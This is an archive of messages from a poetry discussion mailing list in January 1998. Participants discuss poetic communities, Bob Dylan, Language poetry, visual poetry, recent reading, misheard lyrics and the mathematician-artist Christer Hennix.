For the most part, however, the community has always been virtual. We write letters and/ or email and phone and drive cross-country to see one another. Jed Rasula lived in the mid-Hudson valley for a year in the early 80s, but for most of the twenty-years I have known him, he lived in Los Angeles and more recently Kingston, Ontario, five or six hours west of Albany.

When the culture is utterly fragmented, of course, these small cultures look like cults, I suppose. It some times seemed like a cult to me, when Harvey Brown, a person of angelic presence and mythic proportions, would show up at my door at 7 a.m., carrying news from other people in the community as well as much other arcane information and recordings from Jamaica. There is a good deal to be said for cults. It seems to be the only way, for the present, to create the kind of dense context that allows art to address the high matters.

At any rate, I see no reason at all that such a community cannot be served by the net. Of course, it would be nice to get people together from time to time.

Incidentally, to pick up another thread of the discussion: the folk music scene in the early 60's was a similar kind of cult (larger and more organized). The power and importance of _Bringing It All Back Home_ and _Highway 61 Revisited_ is that, by going electric, Dylan revealed the cult secret to the masses, and, of course, the folkies hated him for it. Rightfully so. But the entrance of dope wisdom and folk surrealism into pop culture provided a rare opening to a possible, broad-based cultural transformation. It was, of course, a commercial move, but it was naïve on the part of both Dylan (the Beatles, Hendrix, et. al) and the record companies. No one knew what they were doing. And for about four years, there was the chance that something might happen. Of course, it was never much of a possibility—commercial interests being what they. A cultural revolution requires more than hallucinogens and a few songs, and by 1971, the record companies had it back under control. For better or worse, the secrets of the profounder cults did not enter in popular circulation, and capitalism lost its last little bit of innocence. They'll never let that happen again. The popular culture left only being a punk as an honest possibility.

> *The other honest possibilities are occult and perennial. "Oh poets, you should get a job." What's the job? Most of the sonnets in Clarke's _In the Analogy_ have four epigraphs. They could be taken as topoi for serious discussion..*
>
> *Right now I am struck by this one, from C.S. Peirce: "I cannot exert strenght all alone... only if there be something to resist me."*
>
> *Or this one, from Hawthorne: "Sin is followed by isolation."*
>
> *Or this one from H.D. "Most of the so-called artists of today have lost the use of their brain."*

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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510. Schuchat Simon
milieu etc
Sat 17 Jan 1998

I have recently, with an entirely rational purpose, read Norman Mailer's lengthy novel ANCIENT EVENINGS which is, as no doubt everyone on the list knows, set in Pharonic Egypt. It seemed to me entirely a product of its time, the mid 70s, or roughly from Watergate through the Iranian hostage crisis (to use mediated history as a marker), i.e., the conscious attempt to "get in the ring" with (in this case) Thomas Mann, the apparent total disconnect from life as it was going on around the author in favor of a total connect with literary models, the persistence of the author's signature characteristics (there's a lot of buttfucking and shit smelling in ANCIENT EVENINGS), etc.

Then I thought how Allen Ginsberg during the same historical period seemed to respond to similar aesthetic impulses, Contest of Bards being the main exhibit (shall I become Milton!) though the neo-Elizabethan songs of that period (Love's Answer, etc) are more delightful to my own tastes. Again, its a conscious effort to make "literature" according to some received definition of what constitutes literature.

Now, this is the same period that saw the beginnings of soi-disant language school poetry, whether in California or New York. My question for the list is, was langpo equally part of this same period style, the deliberate invention of an avant garde poetics according to a recipe for what ought to constitute an avant garde poetics, just as Mailer is writing what everybody knows is what a "great" novel is supposed to be. (With Allen its a little more complicated, he knew he had already made great poetry, then I think he wanted to see if he could make great poetry as defined by somebody else, or, to answer the questioner a hundred years hence who asks, what if Allen Ginsberg had tried to write like Milton.)

I guess what I am driving at is whether we can define this 70s period style as some kind of "naive programmatic" or "systematic rangement of the sensibility"

any rocks?

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511. Jordan Davis
Some problems in discourse
Sat 17 Jan 1998

This was a strange thing to wake up to --

> *First, I'd like to thank Luigi for sending on a useful and "important" (I realize Jordan Davis wd. like to purge this word--but beware those who urge to purge!)--list of journals and web sites to start*

not that I don't think you shouldn't beware me --
I'm really very scary!
in case you didn't notice the scare quotes.
I just think the word wastes time.

Importance is the closest thing to money in poetry.

The Taylor Mead retrospective, for those of you within the blast radius of Manhattan Penal Colony, still has two shows to go, next Saturday and Sunday. You missed seeing Ed Sanders and Jack Smith cavort with my hometown's favorite native goof in Ron Rice's The Queen of Sheba Meets the Atom Man. Shot on surplus gun film, it's just gorgeously gray New York from the ice on the East River to Taylor taking a big swig of wheat germ. A useful counterbalance to the Rudy Burckhardt film program last Tuesday at the New York Studio School where Kevin Davies' rule about poetry events in New York held true -- if it's Langpo, show up ten minutes late, if it's New York School, get there fifteen minutes early.

"Doctor, I'm worried I may be, you know, important" --
Jordan

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512. Douglas Barbour
Re: Byrd on Clarke etc
Sat 17 Jan 1998

Oh God, Don Byrd on growing (not old but) middle aged! I wont go on in agreement about that, but realize that yes indeed I did read Clarke's massive opus & was taken many places. Why didnt I mention it too? Because one of the facts of aging is forgetfulness I guess. I only read it once -- so far. And that means I havent done the 'curriculum' much yet at all, but it tempts me & I can hope I'll find the time.

I read mina loy, the new Lost Lunar Baedeker, really for the first time; after so many others. So that whole string about the variousness of different individuals' sense of 'poetic history [ies]' makes a lot of sense to me. I found the Black Mountain group before I really read the Beats & that was really important to me (but I did so because there was a copy of Olson's Maximus 1-20 in a small bookshop in Halifax (!), & then I found a copy of The Opening of the Field on sale in Montreal, & only then did The New American Poetry turn up among my writing friends. And only later did I really begin to read Canadians, meet bpNichol & begin to devour everything of his as it arrived. Oh yeah, since so many of you here know him, George Bowering's work (& that of many of the writers associated with the action on the west coast promoted by the Vancouver conference of 63 [which i only read about later -- sob]) has shone, Daphne Marlatt's, Fred Wah's, etc. And so on. The sense I have of recent poetry is therefore different than that of many people I know personally, let alone those I've read here. What I know is not what you know. You know?

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Phyllis Webb

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513. **groberts**
squib miscellany
Sat 17 Jan 1998

These birdseeds landed on my snow:

-I share Kent Johnson's uncertainty or curiosity about the ways in which "community" has been used in the visual poetry thread, given the ways in which that poetry is produced and distributed, and wonder if anyone feels committed enough to a specific definition of it to explain why anyone else should honor an appeal to it as a term. The matter of Perloff's syllabus and her appeal to logistics got me thinking about how universities sit in "communities." In them still, solicitation of transhistorical and transnational knowledge, however incoherent or incomplete, is different from acknowledging a social ecology in the name of facillitating praxis (which doesn't meant that knowledge and praxis are binaries, even in an academic course).

-Ann Lauterbach's On a Stair is another '97 product worth mentioning, even if it does have the mark of the penguin upon it.

-If Bruce Andrews has not yet been named re:humor, then why not? Don't know the man, never saw him, can't testify as to his courtesies and conviviality, but his party-mouth, howsoever juvenal, cracks my ass. Chfuck the opacity business, he is a laugh riot in here age of satire.

-Hendrix's long live version of his song "Machine Gun" is the definitive statement on the guitar-as-battle ax, and deserves to be as well known as his "Star-spangled banner": the cadenza at the end of it gives me chills every time I listen.

Gotto go shovel now.

Gary R.

↑ Index

514. **Daniel Zimmerman**
Re: Lady Mondegreen
Sat 17 Jan 1998

I just found this "compendium of Misunderstood Lyrics"--

http://www.flash.net/~trevas/

Enjoy!

Dan Zimmerman

Tenney Nathanson wrote:
>
> I heard this one a decade or so ago as a true story about Allen Grossman at
> Brandeis, and in the version I heard a whole lotta people in the class made
> the
> same error, compounding A.G.'s accent and their ineptitude. who knows?
>
> At 05:22 PM 1/12/98 -0500, you wrote:
> >Well, this one is not exactly a misheard lyric and won't cause smirks and
> >laughter, but is maybe worth sharing anyway.
> >
> >A prof reading a term paper on Yeats comes across the phrase "fantasy
echo"
> >thoughout, and is curious as to what the undergraduate means by it and
where
> >it comes from. The two meet to talk, the prof poses his questions, and
> >the student replies, "But you used it yourself all semester in your lectures
> >about the fantasy echo." At which point the prof realizes that the phrase
> >has replaced "fin de siecle." I like the way the replacement has named
> itself.
> >
> >Gary R.
> >

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515. **pollet**
icestorm poetics
Sat 17 Jan 1998

I'm at a friend's in the big city of Bangor, to catch up on the list, take a shower, enjoy the bright lights. Close to 300,000 houses lost power and/or phones. My house now in day ten without either. We heat with wood anyway, & have a gas stove to cook on, so I"m not shivering except for Poetics List withdrawal, and just when it really got busy again, after the holiday doldrums. I did hear from Ted Enslin, he's OK, keeping warm, just getting sick of melting snow for water. Claims he's done with winters in Maine. can't imagine why! I did manage to get out the mailing of Backwoods Broadsides Chaplet Series #32 & 33, Nathaniel Tarn & Jerome Rothenberg. Ted said he read them by candlelight & they cheered him up immensely. Pixels aren't everything. The earliest mondagreen I can remember is singing the refrain of "Blue-tail fly" as "Jimmy

Raccoon and I don't care," which still makes more sense to me. best, Sylvester

↑ Index

516. **MillettiC**
Juliana Spahr
Sat 17 Jan 1998

Folks,

If someone has Juliana Spahr's e-mail address, would you mind backchanneling me with it?

Thanks,
Christina Milletti
[redacted]

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517. **Don Byrd**
Re: Garbled Citations
Sat 17 Jan 1998

For some reason known only to my mail utility, who says what in my answers to Kent Johnson got completely garbled.

Kent Johnson wrote:

> *Don-- I believe that for the past number of years you have been part of an informally-knit community of poets that has been seriously discussing a range of works.*

And Don Byrd Wrote:

> *I am a little startled that whatever temporary autonomous zones we have managed in the mid-Hudson valley have become a topic of the grapevine.*
>
> *Over the last twenty-five years, I have been involved with a constantly shifting group of poets, painters, and composers which at one time or another has included most of the people you mention, though there has never been a formal arrangement. There were great picnics at Paul and Nancy Metcalf's house in Berkeshires in the 70's. A few of us were involved in something that we called (half-jokingly) The Rhinebeck Institute Seminars, which resulted in book, edited by Charles Stein, _Being = Space x Action_ (North Atlantic Books). There was one somewhat formal session at Bard College, but most of the seminars were gatherings at Christer Hennix's apartment.*

I meet with some regularity with Chuck Stein and some times other people at the Ambrosia Diner in Catskill, NY, which has nothing to recommend it other than the fact that it is roughly half way between his house and mine, and that the food is barely edible (a rare commodity in Catskill).

We gather when we can, though I am sorry to say, Kent, it is often not quite as ideally literary as you imagine. There will be a Super Bowl Party at my house, and, while the talk will be as much about poetry as football, some people will actually watch the game. I suppose my 50th birthday party (1994) might be more what you are thinking of. Paul Metcalf (as a descendent of Melville, a Gansevoort in Albany terms), Gerrit Lansing (whose family were 17th-century Dutch settlers of Albany), and Peter Ten Eyck (also from the 17th century Dutch and owner of apple orchards in western Albany county) were, at one point, around a table with William Kennedy, the chronicler of Irish Albany, talking about the history of Albany.

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At any rate, I see no reason at all that such a community cannot be served by the net. Of course, it would be nice to get people together from time to time.

Incidentally, to pick up another thread of the discussion: the folk music scene in the early 60's was a similar kind of cult (larger and more organized). The power and importance of _Bringing It All Back Home_ and _Highway 61 Revisited_ is that, by going electric, Dylan revealed the cult secret to the masses, and, of course, the folkies hated him for it. Rightfully so. But the entrance of dope wisdom and folk surrealism into pop culture provided a rare opening to a possible, broad-based cultural transformation. It was, of course, a commercial move, but it was naïve on the part of both Dylan (the Beatles, Hendrix,

> *et. al) and the record companies. No one knew what they were doing. And for about four years, there was the chance that something might happen. Of course, it was never much of a possibility—commercial interests being what they. A cultural revolution requires more than hallucinogens and a few songs, and by 1971, the record companies had it back under control. For better or worse, the secrets of the profounder cults did not enter in popular circulation, and capitalism lost its last little bit of innocence. They'll never let that happen again. The popular culture left only being a punk as an honest possibility.*
>
> *The other honest possibilities are occult and perennial. "Oh poets, you should get a job." What's the job? Most of the sonnets in Clarke's _In the Analogy_ have four epigraphs. They could be taken as topoi for serious discussion..*
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> *Right now I am struck by this one, from C.S. Peirce: "I cannot exert strenght all alone... only if there be something to resist me."*
>
> *Or this one, from Hawthorne: "Sin is followed by isolation."*
>
> *Or this one from H.D. "Most of the so-called artists of today have lost the use of their brain."*
>
> --
> **********
> *Don Byrd ([redacted], [redacted])*
> *Department of English*
> *State University of New York*
> *Albany, NY 12222*
> *[redacted] (work); [redacted] (home); [redacted] (fax)*
> *The Little Magazine (http://www.albany.edu/~litmag/)*
> **********

--
****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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518. **Harold Rhenisch**

Re: Expression/Self-Expression

Sun 18 Jan 1998

Bob,

to your,

>>I don't see words as containers but (very old-fashionedly) as tags.
They make you remember what you've perceived in the past.<<

Tags is good.

But who is this 'you' perceiving in the past? I'd say the words had their hand in it. This 'you' is a tool the words have made for their own ends, no? Sure, this 'you' exists, but it is a very special meta-creature, and a very powerful one. What happens when one moves away from the country of the you into the country of the words?

>>I would claim
your brain has "tree" stored somewhere, and that when you read it, the
"knowlecule" (as I call it in my theory of the mind, which is even
nuttier than my poetics) in your brain for "tree" straight-forwardly
links to all the knowlecules there that have anything to do with trees,
the strength of any particular link depending on context.<<

My 12 year old daughter claims that if she wants to remember something, she just has to visualize a general category, and then she sees the sub-categories unfold below it, including, in the example of our tree, every instance of tree she has encountered. She then searches through this list of images, film-clips, and words, etc., until she lights upon what she was looking for. Now, I find this remarkable and profound, but I know my mind does not work like that. Mine is symbolic. There's a logic there, but an entirely different one. I think that's what helps make this so difficult: we don't all think the same.

>>This all probably sounds simple-minded and, I think, is. I hope
it gives you an idea of where I'm coming from, though.<<

Not simple-minded. Was always clear.

Harold

[redacted]

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519. MARK LEAHY
readerly consumption
Sun 18 Jan 1998

a question to the list, particularly those on the icy side of the Canadian border; I was told the other day of an essay by Frank Davey which dealt with 'readerly consumption' and or the reader as consumer; I have been unable to locate it in our library here and wonder if anyone can point me in the right direction; (thanks in advance)

in response to those musings as to how many people were interested in the Visual Poetics debate, I for one have been following it, and am only waiting for some time to follow up the online links;

Mark

Mark Leahy
[redacted]
School of English
University of Leeds
West Yorkshire
LS2 9JT
United Kingdom

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520. Michael Magee
Re: Dylan not vs. poetry
Sun 18 Jan 1998

From Joe A: "On the other hand, I met a woman once who claimed to have spent the night with Dylan in a camper parked on Sixth Street in Austin. Desperate for gossip, insight, whatever, I said, well tell me, what happened. It was awful, she said, he made me chew tobacco."

This is just beautifully funny. -m.

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521. Miekal And
[Fwd: Re: RHIZOME_RAW: Live on the Poetics List: Whose Visual Poetics?]
Sun 18 Jan 1998

This is a multi-part message in MIME format.

intergalactic
hypertext

time machine
presents

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id OAA20763
for <[redacted]>; Sun, 18 Jan 1998 14:02:26 -0600 (CST)
by jeter.acpub.duke.edu (8.8.5/Duke-4.5.3) with ESMTP id PAA25868;
Sun, 18 Jan 1998 15:00:24 -0500 (EST)
by godzilla4.acpub.duke.edu (8.8.5/Duke-4.4) id PAA20929;
Sun, 18 Jan 1998 15:00:24 -0500 (EST)
Date: Sun, 18 Jan 1998 15:00:23 -0500 (EST)
From: alex galloway <[redacted]>
To: Miekal And <[redacted]>
cc: [redacted], [redacted], [redacted]
Subject: Re: RHIZOME_RAW: Live on the Poetics List: Whose Visual Poetics?

> *in order to widen the bandwidth of the list's discussion & scholarship on the topic Ive been seeking out relevant works, citations, manifestoes, & websites to enter into the discussion. I have created an ascii gadget called The Intergalactic Hypertext Time Machine which will post all materials that are sent me as an ongoing series of posts.*

general hyperdoor to DIGITAL STUDIES with manifestoz:
http://altx.com/ds

for visual poetry within DIGITAL STUDIES see especially:

Truth is a moving target
by erwin redl
http://www.thing.net/~parallel

oooxxxooo
by Juliet Ann Martin
http://www.bway.net/~juliet/oooxxxooo/Answer.html

Amerika
Poem by Nari
http://members.tripod.com/~poembynari/amerika.htm

Solve et Coagula
by Knut Mork
http://www.gar.no/sec/

----------1D81CED636A--

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522. **Tom Mandel**

A miscellany, or I can't keep up.

Sun 18 Jan 1998

Don's right of course. People build knowledge a world together of shared contexts. Otherwise everyone is just opining into the stream.

Thanks to Kasey for pointing that yes there is more to the subject I said I couldn't really begin to explore because of how much more there was. If only this listserv could pass realaudio I'd be looking forward to the c&m "do not go gentle...." Anything changes anything, you bet. That is the point. But by direct access to the poem I didn't mean an occasion for theorizing but just that, me and the poem rather than me and the night and the music.

Greil Marcus is a fuddy-duddy and always has been. I remember a dinner out with him one night in the late seventies. He wore a blue 3 piece pin-striped Brooks Brothers makers (the expensive kind) suit, paraded his educational qualifications and polysyllabic capacities (natch i blew him away on both counts) and seemed to regard any thought he had as philosophy. He did drive us to dinner, tho, in his new chug-chug Mercedes Benz Diesel. As a guide to our era he really won't do. Baedeker's fine for the chapels, don't ask him for an opinion on the dance-halls. Talk about received ideas! Anybody read Sainte-Beuve lately? -- Greil's the Sainte-Beuve of our time, at least.

Visions of Johanna is my favorite Dylan song too, Don. Send me an email and we'll discuss it! Inside the museums / infinity goes up on trial.

Why don't we all know the same books, but we all know Dylan? For one thing, in a world with thousands of poets "taste" (or any other personal filtering term you like) becomes the active master. There's just a *huge* range out there and no objective measuring device by which you can categorize or otherwise order it. Despite (or the cause of?) theory. Dylan is in a different world, one that's pushed at us. The money spent to market Dylan's comeback album for example, who knows how much? And it worked (here we are talking about it).

Joe Safdie calls the Allen anthology and the NY School anthology his (twinned) "bible." No surprise, in that case, if he had trouble with the Language Poetry scene in SF around the turn of 1980. It would be hard to get along with people who felt they were the heirs of your bible and also felt strong enough to critique it. Especially if they *were* strong enough to critique people you "were fortunate enough to study with." This is *not* the same as rejection of that tradition. It's just taking it away from you. Moreso the Allen anthology than the NY school anthology, yet really both, were seen as the place where the real past was collected, however. It was Richard Wilbur, et. al. that came in for veritable scorn.

The following is a personal reaction: I find criticism of Barry's "personality" annoying. "Priggish. Aloof. Supercilious. Contemptuous" Joe Safdie calls him.

For one thing, such criticism seems to be used to prove something (what?). For another, it is a reaction to the surface of a person to his self-presentation and to a way of presenting self that is evidently not a matter of personal control for anyone. We don't make what we look like nor how we appear to others. Above all, it has literally nothing to do with whether, for example, Barry is a good friend to his friends, to take a simple example (he is). Nor with any other feature of his character. Character not personality is what goes into making poems, because it is what goes into making people.

Finally, it is a weak way of addressing whatever issue a person and his work raises in your life and in your poetics. That is, there's no place to go with it. Connecting someone's manner with their matter (assuming Joe has even gotten to any essential of Watten's manner -- Barry always seemed more awkward than contemptuous to me during those years, more preoccupied than aloof) removes the need to craft a strong position on that matter, on poetics. Where's the critique of the poetics? A series of conclusions (e.g. it wasn't political even tho it thought it was, to paraphrase Joe) really doesn't get very far.

Anyway, that's my personal reaction. I'm fond of Barry -- personally, and of his work -- as I hope I am making clear.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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523. **Tom Mandel**

Joe on Barry

Sun 18 Jan 1998

I should add that Joe frames his personal reaction to Barry generously -- saying that he is pleased others feel differently, and pointing out himself that his response has "the weight" of the personal. It was not to him but precisely to weighting the issue of Watten or anyone's "personality" in an understanding of poetics or work that I meant to be objecting. Actions, works, statements, yes. Quotations please.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
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524. **Tom Mandel**
pointless at best
Sun 18 Jan 1998

Hi David Benedetti -- haven't seen you in years. I wasn't trying to be exclusive or even exclusivist or create some exclusivista which all must see as me. Dylan pretty clearly, repeatedly, says he is not a poet. Doesn't mean I'm trying to see Dylan VERSUS poetry as you put it. I agree that's pointless. Anyway, I listened to all those albums as intensely as all of us did and had my view of the world shaped by my time, how the hell not? (and why the hell not?), but... I don't see how Blood on the Tracks was a diversion toward country? "Idiot Wind" -- sort of the signature song on the album -- "Tangled up in Blue"? these don't seem "country" to me. I assume it's not Nashville Skyline (*explicitly* country album) you mean?

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
Join the Caucus Conversation

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525. **Tom Mandel**
Oy and more on language poetry
Sun 18 Jan 1998

It seems to me that Joe Safdie is being pretty straightforward in discriminating between his reactions to Language Poetry then (early 80's) and now. I think he

offers us a model to discuss this (briefly I hope) w/o being sucked back into the wars of that time.

A word on this remark by Joe, however:

"I resisted then, as I hope I would now, any so-called "movement" that wanted to sweep away what had gone before in its triumphal path..."

Well, sure. But, I have no idea what this is about in reference to that time. In fact, to my knowledge no one in the group of people who came retroactively to be seen as a movement particularly regarded language poetry as a movement at all. We did think we were investigating a way of writing, but we also thought it was being investigated with a lot of variety and that there was virtually no program for it whatever. There were agreements of rejection certainly -- what we all or mostly all seemed not to like (viz. Richard Wilbur, James Merrill -- *not* the Allen anthology!) -- and of agreement (the Allen anthology, early Ashbery), and of ambiguousness (Ashbery after The Tennis Court Oath). But even these "agreements" were far from that. Frameworks for discussions that didn't really have agreement as a goal at all.

I.e. there was some level of social self-consciousness among these people, but it was not as a movement. As to "sweep away what had gone before..." I can't begin to identify what is meant by this. Passion and a critique of the past are not identical to a rejection of that past. They're not even necessarily Oedipal (whatever in hell that mannish-boy theory-parable might still imply for anyone). And as to "in its triumphal path" where might the feeling of triumph have arisen?

Joes's sentence goes on:

"; the Tradition is important to me. Sometimes I think it's all we have..."

Well, I can identify with that and strongly. But how do you go on? An example please where piety (that word is not being used sarcastically) leads to innovation? I think I could point to one in the rabbinic Midrash tradition. But there is a particular set of formal constraints which follows, and, no matter how compelling that work is, it is limited in its effect by those constraints.

We are limited by our own metaphors. We talk of "breaking new ground," but there is always a life there destroyed by our plow. The tradition itself, it's that kind of story.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]

****
Join the Caucus Conversation

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526. Steven Marks
talking about poetry; and time
Sun 18 Jan 1998

On Fri, 16 Jan 1998, Douglas Barbour wrote:
>
> I take the point that it would be good to say something about those books,
> but I dont have much time this ay em to do so.

"O Whirl Wind"

O busy schedule, when wilt thou stop
that the reign of the clock will no longer reign
Christ! that time was on my hands
and I in my bed again.

zzzzzzzzzzzzzzzzzzzzzzzzzz,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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527. Tom Mandel
Ah, human weakness
Sun 18 Jan 1998

Dan Zimmerman backchanneled me pointing out the contradiction -- blatant -- between my defense of BW against personal attacks and my personal attack on Greil Marcus... in the same post!

I have to plead guilty. I just couldn't stand the guy -- a rich little prig living in the berkeley hills in a fancy house since his midtwenties who never had to work and never bothered to think.

Ah, human weakness. Wall here I come (but Dan predicts pie in the face rather than a firing squad so maybe I'll be ok).

TM

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

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528. **Franklin Bruno**

Chester Hennix, what was read in '97

Sun 18 Jan 1998

Don Byrd wrote:

> A few of us were involved in something that we called (half-jokingly) The > Rhinebeck Institute Seminars, which resulted in book, edited by Charles Stein, > _Being = Space x Action_ (North Atlantic Books). There was one somewhat > formal session at Bard College, but most of the seminars were gatherings at > Christer Hennix's apartment.

This moves away from the original topic of community, but: This book has long fascinated me, ever since I was introduced to it by Jed Rasula when he was visiting faculty at Pomona College. A close friend of mine, Dave Carl, did a fair bit of work at giving a rational, bare-bones reconstruction of what Chester Hennix is getting at in the portions of "The Yellow Book" therein, and a while later a few of us got together for a day-long seminar (that began at a breakfast joint and adjourned to a community center) discussing these themes (diagnoalization, etc.). Who exactly Hennix is has remained a bit mysterious to me. Don, would you be willing to fill me and the list in with some info about him and how he fit into that community--Jed told me some things, but my memory's shaky. Also, is there any other writing by or about him out there to be tracked down? Finally, while I'm at it, is the redoubtable Mr. Rasula emailable? (Backchannel is fine on the last.)

Oh--for comparisons sake, '97 poetry I've read and enjoyed has included Moxley's "Imagination Verses," Damon Kruskowski's "5000 Musical Terms" (maybe that was '96), Watten's "Frame," Jordan Davis' "Upstairs," the book of Lyn Hejinian's "A Border Comedy" that appeared as a chapbook from Seeing Eye, Heather Fuller's "perhaps this is a rescue mission," Ron Padgett's "New And Selected Poems," Dennis Philips' "Credence," Jim Brodey's "Heart of the Breath" (96?), Campbell McGrath's "Spring Comes to Chicago," & Joshua Clover's "Madonna Anno Domini." These last two I've tried to bring up on the list with no success, which fuels my nagging suspicion that my list-capital is so low as to

make my interests appear beneath collective contempt, but no matter. I've read around in Mark Wallace's "Sonnets of A Penny-A-Liner" (haven't seen his even more recent book), and recent books by Jarnot (96?), Mandel, and Piombino, but not thoroughly enough to add them honestly to the above list. Lastly, I'm currently dealing w/ Fanny Howe's "One Crossed Out," which showed up in the bookstore about 2 weeks before the end of the year.

Why my two cents? Why not? Oh, and the Dylan is good not great and the years' best lyrics, poetry or not, were by Belle and Sebastian.

fjb

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529. **Bob Grumman**

Re: Expression/Self-Expression

Sun 18 Jan 1998

Oh, boy, Harold, you iz really pushin' me! The you--"this 'you' perceiving in the past? I'd say the words had their hand in it. This 'you' is a tool the words have made for their own ends, no?" No, not as far as I can see. For me the you, let's call it the mind, is just there listening in on the brain, passively (although it might be part of it, or even all of it). As for the brain's "me," it is, I believe, an innate knowlecule (or urceptual complex, how's that?) that has to do with the brain's visceral perception, so to speak, of the body it's globbed to. The brain is what might move from the country of the mind or you into some other country, such as the country of words. As I see that's no more than watching a silent movie and being in visuality, then closing one's eyes and turning on some music to go into the country of aurality. The you/mind is in the country of the self. There's also the country of words, which for people more Evelyn Wooden than I might be pure words--one word going to another with a trace of visual involvement but nothing else. For me the country of words includes fragments of subvocalization and sound.

More about this will have to wait my finally writing down
the basics of my theory--or, more exactly--turning my notes into some
kind of finished monograph.

As for remembering something, that's more mechanical, more the result of training, and we all have our own remembering strategies. Well, except for me. I don't remember nuttin'.

All best, Bob

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530. Laurie Schneider/Crag Hill
Has anyone else read Strabismus?
Sun 18 Jan 1998

To pick up the reading thread again:

When I first read Joseph Ceravolo's Transmigration Solo years ago (followed closely by Coolidge's Quartz Hearts), I gasped, "I've never read anything like this before!" I was utterly delighted by its originality, not in the least concerned that I couldn't identify or describe the mechanisms of that orginality. It was pleasurable simply to experience, a joyful romp of language.

Reading Brian Schorn's Strabismus (from Burning Deck, 1995), I had a similar experience. I don't know how the hell he's doing what he's doing, nor did I want to break off the experience to analyze it - so rarely recently have I found poetry "pleasurable" in any sense. But now as I think about the poems and re-read them, the root of this pleasure has to be in the many impossible, improbable, unpredictable lines and sentences that build up the poems -- accretion of the unexpected: "Temperatures are convincing jerks between the people in the canoe, hence, their legs support them like four broken ferns." I beg your pardon? I ask, a smile on my reading face. "I am the plaid formation on a Midwestern bow tie, capsized/somewhere on a whitecap, say/Lake Michigan." I've been there, seen that, I think. No, I haven't, though I grew up on the western shores of Lake Michigan. I haven't been there, but those lines are. "Hands entwined around each end of a wine bottle will not enhance the greenery of a swamp." Well, yes, but...These poems are delightful. That's a hell of a place to start.

Where have others gone with Strabismus?

Best, Crag Hill

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531. Miekal And
povispo? squibble misc
Sun 18 Jan 1998

Gary Roberts wrote:
>
> These birdseeds landed on my snow:
>
> -I share Kent Johnson's uncertainty or curiosity about the ways in which
> "community" has been used in the visual poetry thread,

my reading of community is that it has always formed the backbone to all my interactions with other visual poets & mailartists, that the networking & the making contact, knowing who was out there, being attracted to the work of

some, where the networking between us is an enduring link. (for instance just these last weeks meeting artists whom I havent heard from in 5-10 years as they slowly join the electronic parade (why are the poets the last to tool up?))

given the ways in which
> that poetry is produced and distributed,

way every way

and wonder if anyone feels committed
> enough to a specific definition of it to explain why anyone else should honor
> an appeal to it as a term.

unlike Mr Bob in the far south, Im quite uncomfortable with categories & terms, especially when something about the term's nature suggests a generality that yet remains exclusive. & especially I contend with many of the best works, their vibrancy is partly in the way the work defies a branding. my personal bias when using the term "visual poetry" is that historically & in practice large sectors of various visual poetry movements such as zaum, lettrism, fluxus, & mail art were foremost interested in transcending nationality.

The matter of Perloff's syllabus and her appeal
> to logistics got me thinking about how universities sit in "communities."

being a founder of a real life community, my relation to that word is experiential. access, participation, mutual aid. if I am a grad student in a seminar,my question would be: is the model of community something that is dynamic that I can participate in (as in summerhill style open classroom) or a static appointment with information retrieval which ends when the course is over?

> *In them still, solicitation of transhistorical and transnational knowledge, however incoherent or incomplete, is different from acknowledging a social ecology in the name of facillitating praxis (which doesn't meant that knowledge and praxis are binaries, even in an academic course).*

to me the analogy is comparable to studying a computer manual to learn a software program & then not actually using the program for its intended purpose.

miekal

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532. **Don Byrd**
Re: Chester Hennix, what was read in '97
Sun 18 Jan 1998

Franklin Bruno wrote:

> *Who exactly Hennix is has*
> *remained a bit mysterious to me. Don, would you be willing to fill me and*

> *the list in with some info about him and how he fit into that community--Jed told me some things, but my memory's shaky.*

Christer Hennix is a Swedish mathematician, composer, philosopher--a concept artist--who lived in the U.S. for a number of years. He is one of the great originals. I must say that my struggle to understand his work, which is deeply embedded in mathematics that I do not have the background for, left a permanent mark on not just my thinking but my way of perceiving. In his Introduction, Chuck Stein notes, "...the theoretical structures of the text build up structures from fundamentally empty concepts and collapse all the structures generated back into a recapitulated emptiness at the end (while at the same time allowing a phantasmagorically rich array of mathematical sturctures and possibilities to shimmer before the contemplating intellect in passing). To witness this process, even as one who does not command the necessary topology and category theory, is to begin to have some idea what "structure" might mean, if one goes to the trouble to get ones language clear enough that it means any thing.

He and Henry Flynt define concept art as working with concepts as material (as a composer works with sound), as opposed to conceptual artists, who, from their point of view, merely illustrate concepts. There is an web site devoted to Flynt's work, including his Concept Art manifesto and his essay summarizing Hennix's career.

http://www.butterfly.net/henryflynt/index.html

Hennix has been back in Europe for a number of years, and sadly I missed him when he lectured at Dia in NY last fall. Chuck Stein said that his vocabulary is heavily Lacanian these days, but that the concepts are still those explored in "The Yellow Book," in _Being =Space x Action_.

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****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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533. **Don Byrd**
Re: Chester Hennix,
Sun 18 Jan 1998

> |

